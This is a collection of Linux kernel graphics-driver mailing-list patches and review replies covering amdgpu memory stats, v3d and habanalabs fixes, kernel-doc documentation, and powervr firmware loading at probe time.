[PATCH] nightly.conf: Reorder the xe repo URLs

[Thomas Hellström]

Select the https URL by default for xe since users may not have
registered a gitlab ssh key yet, and may get confused by
the corresponding error message.

Suggested-by: Daniel Vetter 
Cc: intel...@lists.freedesktop.org
Cc: Lucas De Marchi 
Signed-off-by: Thomas Hellström 
---
 nightly.conf | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nightly.conf b/nightly.conf
index accd3ff2cc39..84dbdb98a99f 100644
--- a/nightly.conf
+++ b/nightly.conf
@@ -25,8 +25,8 @@ https://anongit.freedesktop.org/git/drm/drm-tip
 https://anongit.freedesktop.org/git/drm/drm-tip.git
 "
 drm_tip_repos[drm-xe]="
-ssh://g...@gitlab.freedesktop.org/drm/xe/kernel.git
 https://gitlab.freedesktop.org/drm/xe/kernel.git
+ssh://g...@gitlab.freedesktop.org/drm/xe/kernel.git
 "
 drm_tip_repos[drm-intel]="
 ssh://git.freedesktop.org/git/drm/drm-intel
-- 
2.43.0

Re: [PATCH] kernel-doc: document object-like preprocessor macros

[Alex Deucher]

On Tue, Jan 9, 2024 at 9:16 AM Daniel Vetter  wrote:
>
> I had no idea this exists, but Randy pointed out it's been added quite
> a long time ago in cbb4d3e6510b ("scripts/kernel-doc: handle
> object-like macros"). Definitely way before I started to write all the
> drm docs sadly, so there's a few things where I skipped writing
> kernel-doc since I didn't know it was possible.
>
> Fix this asap by documenting the two possible kernel-doc flavours for
> preprocessor definitions.
>
> References: 
> https://lore.kernel.org/dri-devel/dd917333-9ae8-4e76-991d-39b6229ba...@infradead.org/
> Cc: Randy Dunlap 
> Cc: Thomas Zimmermann 
> Cc: Maxime Ripard 
> Cc: Daniel Vetter 
> Cc: "Steven Rostedt (Google)" 
> Cc: Jonathan Corbet 
> Cc: linux-...@vger.kernel.org
> Signed-off-by: Daniel Vetter 

News to me as well.
Acked-by: Alex Deucher 

> ---
>  Documentation/doc-guide/kernel-doc.rst | 26 ++
>  1 file changed, 26 insertions(+)
>
> diff --git a/Documentation/doc-guide/kernel-doc.rst 
> b/Documentation/doc-guide/kernel-doc.rst
> index 6ad72ac6861b..a966f1fd5c30 100644
> --- a/Documentation/doc-guide/kernel-doc.rst
> +++ b/Documentation/doc-guide/kernel-doc.rst
> @@ -341,6 +341,32 @@ Typedefs with function prototypes can also be 
> documented::
> */
> typedef void (*type_name)(struct v4l2_ctrl *arg1, void *arg2);
>
> +Preprocessor defines documentation
> +--
> +
> +There are two ways to document preprocessor defines. The first works more or
> +less like kernel-doc for functions, including parameters::
> +
> +  /**
> +   * FUNC_NAME() - Brief description
> +   * @arg1: description of arg1
> +   * @arg2: description of arg2
> +   *
> +   * Description of the preprocessor function, may have multiple paragraphs.
> +   */
> +  #define FUNC_NAME(arg1, arg2)
> +
> +The second type is different and for object-like preprocessor macros without 
> any
> +parameters::
> +
> +  /**
> +   * define MACRO - Brief description
> +   *
> +   * Description of the object-like preprocessor macro, may have multiple
> +   * paragraphs.
> +   */
> +   #define MACRO
> +
>  Highlights and cross-references
>  ---
>
> --
> 2.43.0
>

Re: [PATCH 2/2] drm/amdgpu: add shared fdinfo stats

[Christian König]

Am 09.01.24 um 15:26 schrieb Daniel Vetter:

On Tue, 9 Jan 2024 at 14:25, Tvrtko Ursulin
 wrote:


On 09/01/2024 12:54, Daniel Vetter wrote:

On Tue, Jan 09, 2024 at 09:30:15AM +, Tvrtko Ursulin wrote:

On 09/01/2024 07:56, Christian König wrote:

Am 07.12.23 um 19:02 schrieb Alex Deucher:

Add shared stats.  Useful for seeing shared memory.

v2: take dma-buf into account as well

Signed-off-by: Alex Deucher 
Cc: Rob Clark 
---
drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c |  4 
drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 11 +++
drivers/gpu/drm/amd/amdgpu/amdgpu_object.h |  6 ++
3 files changed, 21 insertions(+)

diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
b/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
index 5706b282a0c7..c7df7fa3459f 100644
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
@@ -97,6 +97,10 @@ void amdgpu_show_fdinfo(struct drm_printer *p,
struct drm_file *file)
   stats.requested_visible_vram/1024UL);
drm_printf(p, "amd-requested-gtt:\t%llu KiB\n",
   stats.requested_gtt/1024UL);
+drm_printf(p, "drm-shared-vram:\t%llu KiB\n",
stats.vram_shared/1024UL);
+drm_printf(p, "drm-shared-gtt:\t%llu KiB\n",
stats.gtt_shared/1024UL);
+drm_printf(p, "drm-shared-cpu:\t%llu KiB\n",
stats.cpu_shared/1024UL);
+
for (hw_ip = 0; hw_ip < AMDGPU_HW_IP_NUM; ++hw_ip) {
if (!usage[hw_ip])
continue;
diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
b/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
index d79b4ca1ecfc..1b37d95475b8 100644
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
@@ -1287,25 +1287,36 @@ void amdgpu_bo_get_memory(struct amdgpu_bo *bo,
  struct amdgpu_mem_stats *stats)
{
uint64_t size = amdgpu_bo_size(bo);
+struct drm_gem_object *obj;
unsigned int domain;
+bool shared;
/* Abort if the BO doesn't currently have a backing store */
if (!bo->tbo.resource)
return;
+obj = >tbo.base;
+shared = (obj->handle_count > 1) || obj->dma_buf;

I still think that looking at handle_count is the completely wrong
approach, we should really only look at obj->dma_buf.

Yeah it is all a bit tricky with the handle table walk. I don't think it is
even possible to claim it is shared with obj->dma_buf could be the same
process creating say via udmabuf and importing into drm. It is a wild
scenario yes, but it could be private memory in that case. Not sure where it
would leave us if we said this is just a limitation of a BO based tracking.

Would adding a new category "imported" help?

Hmm or we simply change drm-usage-stats.rst:

"""
- drm-shared-:  [KiB|MiB]

The total size of buffers that are shared with another file (ie. have more
than than a single handle).
"""

Changing ie into eg coule be get our of jail free card to allow the
"(obj->handle_count > 1) || obj->dma_buf;" condition?

Because of the shared with another _file_ wording would cover my wild
udmabuf self-import case. Unless there are more such creative private import
options.

Yeah I think clarifying that we can only track sharing with other fd and
have no idea whether this means sharing with another process or not is
probably simplest. Maybe not exactly what users want, but still the
roughly best-case approximation we can deliver somewhat cheaply.

Also maybe time for a drm_gem_buffer_object_is_shared() helper so we don't
copypaste this all over and then end up in divergent conditions? I'm
guessing that there's going to be a bunch of drivers which needs this
little helper to add drm-shared-* stats to their fdinfo ...

Yeah I agree that works and i915 would need to use the helper too.

I would only suggest to name it so the meaning of shared is obviously
only about the fdinfo memory stats and no one gets a more meaningful
idea about its semantics.

We have drm_show_memory_stats and drm_print_memory_stats exported so
perhaps something like drm_object_is_shared_for_memory_stats,
drm_object_is_memory_stats_shared, drm_memory_stats_object_is_shared?


+ for drm_object_is_shared_for_memory_stats().



And s/ie/eg/ in the above quoted drm-usage-stats.rst.

Ack on making it clear this helper would be for fdinfo memory stats
only. Sounds like a good idea to stop people from finding really
creative uses ...


It's astonishing how defensive the development process has become :)

Cheers,
Christian.


-Sima


Regards,

Tvrtko


Cheers, Sima

Regards,

Tvrtko


Regards,
Christian.


+
domain = amdgpu_mem_type_to_domain(bo->tbo.resource->mem_type);
switch (domain) {
case AMDGPU_GEM_DOMAIN_VRAM:
stats->vram += size;
if (amdgpu_bo_in_cpu_visible_vram(bo))
stats->visible_vram += size;
+if (shared)
+stats->vram_shared += size;
break;
case AMDGPU_GEM_DOMAIN_GTT:

Re: [PATCH][next] accel/habanalabs: remove redundant assignment to pointer 'input'

[Oded Gabbay]

On 06/01/2024 14:42, Colin Ian King wrote:

From: Colin Ian King 

The pointer input is assigned a value that is not read, it is
being re-assigned again later with the same value. Resolve this
by moving the declaration to input into the if block.

Cleans up clang scan build warning:
warning: Value stored to 'input' during its initialization is never
read [deadcode.DeadStores]

Signed-off-by: Colin Ian King 
---
  drivers/accel/habanalabs/goya/goya_coresight.c | 3 +--
  1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/drivers/accel/habanalabs/goya/goya_coresight.c 
b/drivers/accel/habanalabs/goya/goya_coresight.c
index 41cae5fd843b..3827ea4c02f7 100644
--- a/drivers/accel/habanalabs/goya/goya_coresight.c
+++ b/drivers/accel/habanalabs/goya/goya_coresight.c
@@ -576,7 +576,6 @@ static int goya_config_spmu(struct hl_device *hdev,
struct hl_debug_params *params)
  {
u64 base_reg;
-   struct hl_debug_params_spmu *input = params->input;
u64 *output;
u32 output_arr_len;
u32 events_num;
@@ -592,7 +591,7 @@ static int goya_config_spmu(struct hl_device *hdev,
base_reg = debug_spmu_regs[params->reg_idx] - CFG_BASE;
  
  	if (params->enable) {

-   input = params->input;
+   struct hl_debug_params_spmu *input = params->input;
  
  		if (!input)

return -EINVAL;

Thanks for the patch.
Reviewed-by: Oded Gabbay 
Applied to -next.
Oded

[PATCH 2/2] accel/habanalabs/gaudi2: fail memory memset when failing to copy QM packet to device

[Oded Gabbay]

From: Tomer Tayar 

gaudi2_memset_memory_chunk_using_edma_qm() calls the access_dev_mem()
ASIC function, but ignores its return value.
Add this missing check.

Signed-off-by: Tomer Tayar 
Reviewed-by: Oded Gabbay 
Signed-off-by: Oded Gabbay 
---
 drivers/accel/habanalabs/gaudi2/gaudi2.c | 10 --
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/drivers/accel/habanalabs/gaudi2/gaudi2.c 
b/drivers/accel/habanalabs/gaudi2/gaudi2.c
index 05e2170c815e..1f061209ae21 100644
--- a/drivers/accel/habanalabs/gaudi2/gaudi2.c
+++ b/drivers/accel/habanalabs/gaudi2/gaudi2.c
@@ -10345,14 +10345,20 @@ static int 
gaudi2_memset_memory_chunk_using_edma_qm(struct hl_device *hdev,
 
pkt_size = sizeof(struct packet_lin_dma);
 
-   for (i = 0; i < 3; i++)
+   for (i = 0; i < 3; i++) {
rc = hdev->asic_funcs->access_dev_mem(hdev, PCI_REGION_DRAM,
phys_addr + (i * sizeof(u64)),
((u64 *)(lin_dma_pkt)) + i, DEBUGFS_WRITE64);
+   if (rc) {
+   dev_err(hdev->dev, "Failed to copy lin_dma packet to 
HBM (%#llx)\n",
+   phys_addr);
+   return rc;
+   }
+   }
 
rc = hl_hw_queue_send_cb_no_cmpl(hdev, hw_queue_id, pkt_size, 
phys_addr);
if (rc)
-   dev_err(hdev->dev, "Failed to send lin dma packet to H/W queue 
%d\n",
+   dev_err(hdev->dev, "Failed to send lin_dma packet to H/W queue 
%d\n",
hw_queue_id);
 
return rc;
-- 
2.34.1

[PATCH 1/2] accel/habanalabs: remove call to deprecated function

[Oded Gabbay]

From: Dani Liberman 

In newer kernel versions, irq_set_affinity_hint() is deprecated.
Instead, use the newer version which is irq_set_affinity_and_hint().

Signed-off-by: Dani Liberman 
Reviewed-by: Oded Gabbay 
Signed-off-by: Oded Gabbay 
---
 drivers/accel/habanalabs/common/device.c | 2 +-
 drivers/accel/habanalabs/gaudi2/gaudi2.c | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/drivers/accel/habanalabs/common/device.c 
b/drivers/accel/habanalabs/common/device.c
index bc66ad227aa5..493b4a4294a3 100644
--- a/drivers/accel/habanalabs/common/device.c
+++ b/drivers/accel/habanalabs/common/device.c
@@ -2839,6 +2839,6 @@ void hl_set_irq_affinity(struct hl_device *hdev, int irq)
return;
}
 
-   if (irq_set_affinity_hint(irq, >irq_affinity_mask))
+   if (irq_set_affinity_and_hint(irq, >irq_affinity_mask))
dev_err(hdev->dev, "Failed setting irq %d affinity\n", irq);
 }
diff --git a/drivers/accel/habanalabs/gaudi2/gaudi2.c 
b/drivers/accel/habanalabs/gaudi2/gaudi2.c
index 5863c9049134..05e2170c815e 100644
--- a/drivers/accel/habanalabs/gaudi2/gaudi2.c
+++ b/drivers/accel/habanalabs/gaudi2/gaudi2.c
@@ -4395,7 +4395,7 @@ static int gaudi2_enable_msix(struct hl_device *hdev)
i < GAUDI2_IRQ_NUM_USER_FIRST + user_irq_init_cnt ; 
i++, j++) {
 
irq = pci_irq_vector(hdev->pdev, i);
-   irq_set_affinity_hint(irq, NULL);
+   irq_set_affinity_and_hint(irq, NULL);
free_irq(irq, >user_interrupt[j]);
}
irq = pci_irq_vector(hdev->pdev, GAUDI2_IRQ_NUM_UNEXPECTED_ERROR);
@@ -4476,7 +4476,7 @@ static void gaudi2_disable_msix(struct hl_device *hdev)
k < hdev->asic_prop.user_interrupt_count ; i++, j++, 
k++) {
 
irq = pci_irq_vector(hdev->pdev, i);
-   irq_set_affinity_hint(irq, NULL);
+   irq_set_affinity_and_hint(irq, NULL);
free_irq(irq, >user_interrupt[j]);
}
 
-- 
2.34.1

[PATCH] drm/v3d: Free the job and assign it to NULL if initialization fails

[Maíra Canal]

Currently, if `v3d_job_init()` fails (e.g. in the IGT test "bad-in-sync",
where we submit an invalid in-sync to the IOCTL), then we end up with
the following NULL pointer dereference:

[   34.146279] Unable to handle kernel NULL pointer dereference at virtual 
address 0078
[   34.146301] Mem abort info:
[   34.146306]   ESR = 0x9605
[   34.146315]   EC = 0x25: DABT (current EL), IL = 32 bits
[   34.146322]   SET = 0, FnV = 0
[   34.146328]   EA = 0, S1PTW = 0
[   34.146334]   FSC = 0x05: level 1 translation fault
[   34.146340] Data abort info:
[   34.146345]   ISV = 0, ISS = 0x0005, ISS2 = 0x
[   34.146351]   CM = 0, WnR = 0, TnD = 0, TagAccess = 0
[   34.146357]   GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0
[   34.146366] user pgtable: 4k pages, 39-bit VAs, pgdp=0001232e6000
[   34.146375] [0078] pgd=, p4d=, 
pud=
[   34.146399] Internal error: Oops: 9605 [#1] PREEMPT SMP
[   34.146406] Modules linked in: rfcomm snd_seq_dummy snd_hrtimer snd_seq 
snd_seq_device algif_hash aes_neon_bs aes_neon_blk algif_skcipher af_alg bnep 
hid_logitech_hidpp brcmfmac_wcc brcmfmac brcmutil hci_uart vc4 btbcm cfg80211 
bluetooth bcm2835_v4l2(C) snd_soc_hdmi_codec binfmt_misc cec drm_display_helper 
hid_logitech_dj bcm2835_mmal_vchiq(C) drm_dma_helper drm_kms_helper 
videobuf2_v4l2 raspberrypi_hwmon ecdh_generic videobuf2_vmalloc 
videobuf2_memops ecc videobuf2_common rfkill videodev libaes snd_soc_core dwc2 
i2c_brcmstb snd_pcm_dmaengine snd_bcm2835(C) i2c_bcm2835 pwm_bcm2835 snd_pcm mc 
v3d snd_timer snd gpu_sched drm_shmem_helper nvmem_rmem uio_pdrv_genirq uio 
i2c_dev drm fuse dm_mod drm_panel_orientation_quirks backlight configfs 
ip_tables x_tables ipv6
[   34.146556] CPU: 1 PID: 1890 Comm: v3d_submit_csd Tainted: G C   
  6.7.0-rc3-g49ddab089611 #68
[   34.146563] Hardware name: Raspberry Pi 4 Model B Rev 1.5 (DT)
[   34.146569] pstate: 6005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)
[   34.146575] pc : drm_sched_job_cleanup+0x3c/0x190 [gpu_sched]
[   34.146611] lr : v3d_submit_csd_ioctl+0x1b4/0x460 [v3d]
[   34.146653] sp : ffc083cbbb80
[   34.146658] x29: ffc083cbbb90 x28: ff81035afc00 x27: ffe77a641168
[   34.146668] x26: ff81056a8000 x25: 0058 x24: 
[   34.146677] x23: ff81065e2000 x22: ff81035afe00 x21: ffc083cbbcf0
[   34.146686] x20: ff81035afe00 x19: ffea x18: 
[   34.146694] x17:  x16: ffe7989e34b0 x15: 
[   34.146703] x14: 0404 x13: ff81035afe80 x12: ffc083cb8000
[   34.146711] x11: cc57e05dfbe5ef00 x10: cc57e05dfbe5ef00 x9 : ffe77a64131c
[   34.146719] x8 :  x7 :  x6 : 003f
[   34.146727] x5 : 0040 x4 : ff81fefb03f0 x3 : ffc083cbba40
[   34.146736] x2 : ff81056a8000 x1 : ffe7989e35e8 x0 : 
[   34.146745] Call trace:
[   34.146748]  drm_sched_job_cleanup+0x3c/0x190 [gpu_sched]
[   34.146768]  v3d_submit_csd_ioctl+0x1b4/0x460 [v3d]
[   34.146791]  drm_ioctl_kernel+0xe0/0x120 [drm]
[   34.147029]  drm_ioctl+0x264/0x408 [drm]
[   34.147135]  __arm64_sys_ioctl+0x9c/0xe0
[   34.147152]  invoke_syscall+0x4c/0x118
[   34.147162]  el0_svc_common+0xb8/0xf0
[   34.147168]  do_el0_svc+0x28/0x40
[   34.147174]  el0_svc+0x38/0x88
[   34.147184]  el0t_64_sync_handler+0x84/0x100
[   34.147191]  el0t_64_sync+0x190/0x198
[   34.147201] Code: aa0003f4 f90007e8 f9401008 aa0803e0 (b8478c09)
[   34.147210] ---[ end trace  ]---

This happens because we are calling `drm_sched_job_cleanup()` twice:
once at `v3d_job_init()` and again when we call `v3d_job_cleanup()`.

To mitigate this issue, we can return to the same approach that we used
to use before 464c61e76de8: deallocate the job after `v3d_job_init()`
fails and assign it to NULL. Then, when we call `v3d_job_cleanup()`, job
is NULL and the function returns.

Fixes: 464c61e76de8 ("drm/v3d: Decouple job allocation from job initiation")
Signed-off-by: Maíra Canal 
---
 drivers/gpu/drm/v3d/v3d_submit.c | 35 +---
 1 file changed, 28 insertions(+), 7 deletions(-)

diff --git a/drivers/gpu/drm/v3d/v3d_submit.c b/drivers/gpu/drm/v3d/v3d_submit.c
index fcff41dd2315..88f63d526b22 100644
--- a/drivers/gpu/drm/v3d/v3d_submit.c
+++ b/drivers/gpu/drm/v3d/v3d_submit.c
@@ -147,6 +147,13 @@ v3d_job_allocate(void **container, size_t size)
return 0;
 }

+static void
+v3d_job_deallocate(void **container)
+{
+   kfree(*container);
+   *container = NULL;
+}
+
 static int
 v3d_job_init(struct v3d_dev *v3d, struct drm_file *file_priv,
 struct v3d_job *job, void (*free)(struct kref *ref),
@@ -273,8 +280,10 @@ v3d_setup_csd_jobs_and_bos(struct drm_file *file_priv,

ret = v3d_job_init(v3d, file_priv, &(*job)->base,
   v3d_job_free, 

Re: [PATCH 2/2] drm/amdgpu: add shared fdinfo stats

[Daniel Vetter]

On Tue, 9 Jan 2024 at 14:25, Tvrtko Ursulin
 wrote:
>
>
> On 09/01/2024 12:54, Daniel Vetter wrote:
> > On Tue, Jan 09, 2024 at 09:30:15AM +, Tvrtko Ursulin wrote:
> >>
> >> On 09/01/2024 07:56, Christian König wrote:
> >>> Am 07.12.23 um 19:02 schrieb Alex Deucher:
>  Add shared stats.  Useful for seeing shared memory.
> 
>  v2: take dma-buf into account as well
> 
>  Signed-off-by: Alex Deucher 
>  Cc: Rob Clark 
>  ---
> drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c |  4 
> drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 11 +++
> drivers/gpu/drm/amd/amdgpu/amdgpu_object.h |  6 ++
> 3 files changed, 21 insertions(+)
> 
>  diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
>  b/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
>  index 5706b282a0c7..c7df7fa3459f 100644
>  --- a/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
>  +++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
>  @@ -97,6 +97,10 @@ void amdgpu_show_fdinfo(struct drm_printer *p,
>  struct drm_file *file)
>    stats.requested_visible_vram/1024UL);
> drm_printf(p, "amd-requested-gtt:\t%llu KiB\n",
>    stats.requested_gtt/1024UL);
>  +drm_printf(p, "drm-shared-vram:\t%llu KiB\n",
>  stats.vram_shared/1024UL);
>  +drm_printf(p, "drm-shared-gtt:\t%llu KiB\n",
>  stats.gtt_shared/1024UL);
>  +drm_printf(p, "drm-shared-cpu:\t%llu KiB\n",
>  stats.cpu_shared/1024UL);
>  +
> for (hw_ip = 0; hw_ip < AMDGPU_HW_IP_NUM; ++hw_ip) {
> if (!usage[hw_ip])
> continue;
>  diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
>  b/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
>  index d79b4ca1ecfc..1b37d95475b8 100644
>  --- a/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
>  +++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
>  @@ -1287,25 +1287,36 @@ void amdgpu_bo_get_memory(struct amdgpu_bo *bo,
>   struct amdgpu_mem_stats *stats)
> {
> uint64_t size = amdgpu_bo_size(bo);
>  +struct drm_gem_object *obj;
> unsigned int domain;
>  +bool shared;
> /* Abort if the BO doesn't currently have a backing store */
> if (!bo->tbo.resource)
> return;
>  +obj = >tbo.base;
>  +shared = (obj->handle_count > 1) || obj->dma_buf;
> >>>
> >>> I still think that looking at handle_count is the completely wrong
> >>> approach, we should really only look at obj->dma_buf.
> >>
> >> Yeah it is all a bit tricky with the handle table walk. I don't think it is
> >> even possible to claim it is shared with obj->dma_buf could be the same
> >> process creating say via udmabuf and importing into drm. It is a wild
> >> scenario yes, but it could be private memory in that case. Not sure where 
> >> it
> >> would leave us if we said this is just a limitation of a BO based tracking.
> >>
> >> Would adding a new category "imported" help?
> >>
> >> Hmm or we simply change drm-usage-stats.rst:
> >>
> >> """
> >> - drm-shared-:  [KiB|MiB]
> >>
> >> The total size of buffers that are shared with another file (ie. have more
> >> than than a single handle).
> >> """
> >>
> >> Changing ie into eg coule be get our of jail free card to allow the
> >> "(obj->handle_count > 1) || obj->dma_buf;" condition?
> >>
> >> Because of the shared with another _file_ wording would cover my wild
> >> udmabuf self-import case. Unless there are more such creative private 
> >> import
> >> options.
> >
> > Yeah I think clarifying that we can only track sharing with other fd and
> > have no idea whether this means sharing with another process or not is
> > probably simplest. Maybe not exactly what users want, but still the
> > roughly best-case approximation we can deliver somewhat cheaply.
> >
> > Also maybe time for a drm_gem_buffer_object_is_shared() helper so we don't
> > copypaste this all over and then end up in divergent conditions? I'm
> > guessing that there's going to be a bunch of drivers which needs this
> > little helper to add drm-shared-* stats to their fdinfo ...
>
> Yeah I agree that works and i915 would need to use the helper too.
>
> I would only suggest to name it so the meaning of shared is obviously
> only about the fdinfo memory stats and no one gets a more meaningful
> idea about its semantics.
>
> We have drm_show_memory_stats and drm_print_memory_stats exported so
> perhaps something like drm_object_is_shared_for_memory_stats,
> drm_object_is_memory_stats_shared, drm_memory_stats_object_is_shared?
>
> And s/ie/eg/ in the above quoted drm-usage-stats.rst.

Ack on making it clear this helper would be for fdinfo memory stats
only. Sounds like a good idea to stop people from finding really
creative uses ...
-Sima

>
> Regards,
>
> Tvrtko
>
> >
> > Cheers, Sima
> >>
> >> Regards,
> >>
> >> Tvrtko
> >>
> >>>
> >>> Regards,
> >>> 

Re: [PATCH v5 5/8] dt-bindings: nt35510: add compatible for FRIDA FRD400B25025-A-CTK

[Linus Walleij]

On Tue, Jan 9, 2024 at 1:54 PM Dario Binacchi
 wrote:

> > do you want me to apply patches 5,7,8 to the dri-misc
(...)
> Yes, I would appreciate that very much.

Pushed to drm-misc-next!

Please submit the DTS files through the ST SoC tree.

Yours,
Linus Walleij

[PATCH] kernel-doc: document object-like preprocessor macros

[Daniel Vetter]

I had no idea this exists, but Randy pointed out it's been added quite
a long time ago in cbb4d3e6510b ("scripts/kernel-doc: handle
object-like macros"). Definitely way before I started to write all the
drm docs sadly, so there's a few things where I skipped writing
kernel-doc since I didn't know it was possible.

Fix this asap by documenting the two possible kernel-doc flavours for
preprocessor definitions.

References: 
https://lore.kernel.org/dri-devel/dd917333-9ae8-4e76-991d-39b6229ba...@infradead.org/
Cc: Randy Dunlap 
Cc: Thomas Zimmermann 
Cc: Maxime Ripard 
Cc: Daniel Vetter 
Cc: "Steven Rostedt (Google)" 
Cc: Jonathan Corbet 
Cc: linux-...@vger.kernel.org
Signed-off-by: Daniel Vetter 
---
 Documentation/doc-guide/kernel-doc.rst | 26 ++
 1 file changed, 26 insertions(+)

diff --git a/Documentation/doc-guide/kernel-doc.rst 
b/Documentation/doc-guide/kernel-doc.rst
index 6ad72ac6861b..a966f1fd5c30 100644
--- a/Documentation/doc-guide/kernel-doc.rst
+++ b/Documentation/doc-guide/kernel-doc.rst
@@ -341,6 +341,32 @@ Typedefs with function prototypes can also be documented::
*/
typedef void (*type_name)(struct v4l2_ctrl *arg1, void *arg2);
 
+Preprocessor defines documentation
+--
+
+There are two ways to document preprocessor defines. The first works more or
+less like kernel-doc for functions, including parameters::
+
+  /**
+   * FUNC_NAME() - Brief description
+   * @arg1: description of arg1
+   * @arg2: description of arg2
+   *
+   * Description of the preprocessor function, may have multiple paragraphs.
+   */
+  #define FUNC_NAME(arg1, arg2)
+
+The second type is different and for object-like preprocessor macros without 
any
+parameters::
+
+  /**
+   * define MACRO - Brief description
+   *
+   * Description of the object-like preprocessor macro, may have multiple
+   * paragraphs.
+   */
+   #define MACRO
+
 Highlights and cross-references
 ---
 
-- 
2.43.0

Re: [PATCH] drm/imagination: Defer probe if requested firmware is not available

[Daniel Vetter]

On Tue, Jan 09, 2024 at 02:48:42PM +0100, Javier Martinez Canillas wrote:
> Daniel Vetter  writes:
> 
> Hello Sima,
> 
> Thanks for your feedback.
> 
> > On Tue, Jan 09, 2024 at 01:05:59PM +0100, Javier Martinez Canillas wrote:
> >> The device is initialized in the driver's probe callback and as part of
> >> that initialization, the required firmware is loaded. But this fails if
> >> the driver is built-in and the firmware isn't present in the initramfs:
> >> 
> >> $ dmesg | grep powervr
> >> [2.969757] powervr fd0.gpu: Direct firmware load for 
> >> powervr/rogue_33.15.11.3_v1.fw failed with error -2
> >> [2.979727] powervr fd0.gpu: [drm] *ERROR* failed to load firmware 
> >> powervr/rogue_33.15.11.3_v1.fw (err=-2)
> >> [2.989885] powervr: probe of fd0.gpu failed with error -2
> >> 
> >> $ ls -lh /lib/firmware/powervr/rogue_33.15.11.3_v1.fw.xz
> >> -rw-r--r-- 1 root root 51K Dec 12 19:00 
> >> /lib/firmware/powervr/rogue_33.15.11.3_v1.fw.xz
> >> 
> >> To prevent the probe to fail for this case, let's defer the probe if the
> >> firmware isn't available. That way, the driver core can retry it and get
> >> the probe to eventually succeed once the root filesystem has been mounted.
> >> 
> >> If the firmware is also not present in the root filesystem, then the probe
> >> will never succeed and the reason listed in the debugfs devices_deferred:
> >> 
> >> $ cat /sys/kernel/debug/devices_deferred
> >> fd0.gpu powervr: failed to load firmware 
> >> powervr/rogue_33.15.11.3_v1.fw (err=-517)
> >> 
> >> Fixes: f99f5f3ea7ef ("drm/imagination: Add GPU ID parsing and firmware 
> >> loading")
> >> Suggested-by: Maxime Ripard 
> >> Signed-off-by: Javier Martinez Canillas 
> >
> > Uh that doesn't work.
> >
> > Probe is for "I'm missing a struct device" and _only_ that. You can't
> > assume that probe deferral will defer enough until the initrd shows up.
> >
> 
> Fair.
> 
> > You need to fix this by fixing the initrd to include the required
> > firmwares. This is what MODULE_FIRMWARE is for, and if your initrd fails
> > to observe that it's just broken.
> >
> 
> Tha's already the case, when is built as a module the initrd (dracut in
> this particular case) does figure out that the firmware needs to be added
> but that doesn't work when the DRM driver is built-in. Because dracut is
> not able to figure out and doesn't even have a powervr.ko info to look at
> whatever is set by the MODULE_FIRMWARE macro.

Yeah built-in drivers that require firmware don't really work. I'm not
sure it changed, but a while ago you had to actually include these in the
kernel image itself (initrd was again too late), and that gives you
something you can't even ship because it links blobs with gplv2 kernel.

Maybe that changed and the initramfs is set up early enough now that it's
sufficient to have it there ...

Either way I think this needs module/kernel-image build changes so that
the list of firmware images needed for the kernel itself is dumped
somewhere, so that dracut can consume it and tdrt. My take at least.

> > Yes I know as long as you have enough stuff built as module so that there
> > will be _any_ kind of device probe after the root fs is mounted, this
> > works, because that triggers a re-probe of everything. But that's the most
> > kind of fragile fix there is.
> >
> 
> Is fragile that's true but on the other hand it does solve the issue in
> pratice. The whole device probal mechanism is just a best effort anyways.
> 
> > If you want to change that then I think that needs an official blessing
> > from Greg KH/device core folks.
> >
> 
> I liked this approach due its simplicity but an alternative (and more
> complex) solution could be to delay the firmware request and not do it at
> probe time.
> 
> For example, the following (only barely tested) patch solves the issue for
> me as well but it's a bigger change to this driver and wasn't sure if will
> be acceptable:

I think this is still barking up the wrong tree. I think there's two
proper fixes:

- make the "EPROBE_DEFER delays until rootfs no matter what" official and
  documented policy. That's much better than drivers hand-rolling
  EPROBE_DEFER each in their own driver code.

- fix kernel build and dracut so it can pick up the firmware images the
  kernel itself needs. Because having a driver built-in but it still fails
  to load until the rootfs is there is some very confusing failure mode.
  Due to that failure mode I think this is the right fix, otherwise
  built-in drivers become confusing.

  Alternatively I guess you could disallow drm/img as a built-in driver
  ... And also any other driver that requires fw to function.

I don't think a "mostly works due to undocumented driver-specific hack" is
a good fix, since this is entirely a generic issue.

I think it's different if the fw is only needed for optional features,
e.g. for i915 some of the display firmware is only needed for self refresh
and low power modes. And a runtime_pm_get 

Re: [PATCH] drm/i915/guc: Avoid circular locking issue on busyness flush

[Daniel Vetter]

On Tue, Dec 19, 2023 at 11:59:57AM -0800, john.c.harri...@intel.com wrote:
> From: John Harrison 
> 
> Avoid the following lockdep complaint:
> <4> [298.856498] ==
> <4> [298.856500] WARNING: possible circular locking dependency detected
> <4> [298.856503] 6.7.0-rc5-CI_DRM_14017-g58ac4ffc75b6+ #1 Tainted: G
> N
> <4> [298.856505] --
> <4> [298.856507] kworker/4:1H/190 is trying to acquire lock:
> <4> [298.856509] 8881103e9978 (>reset.backoff_srcu){}-{0:0}, at:
> _intel_gt_reset_lock+0x35/0x380 [i915]
> <4> [298.856661]
> but task is already holding lock:
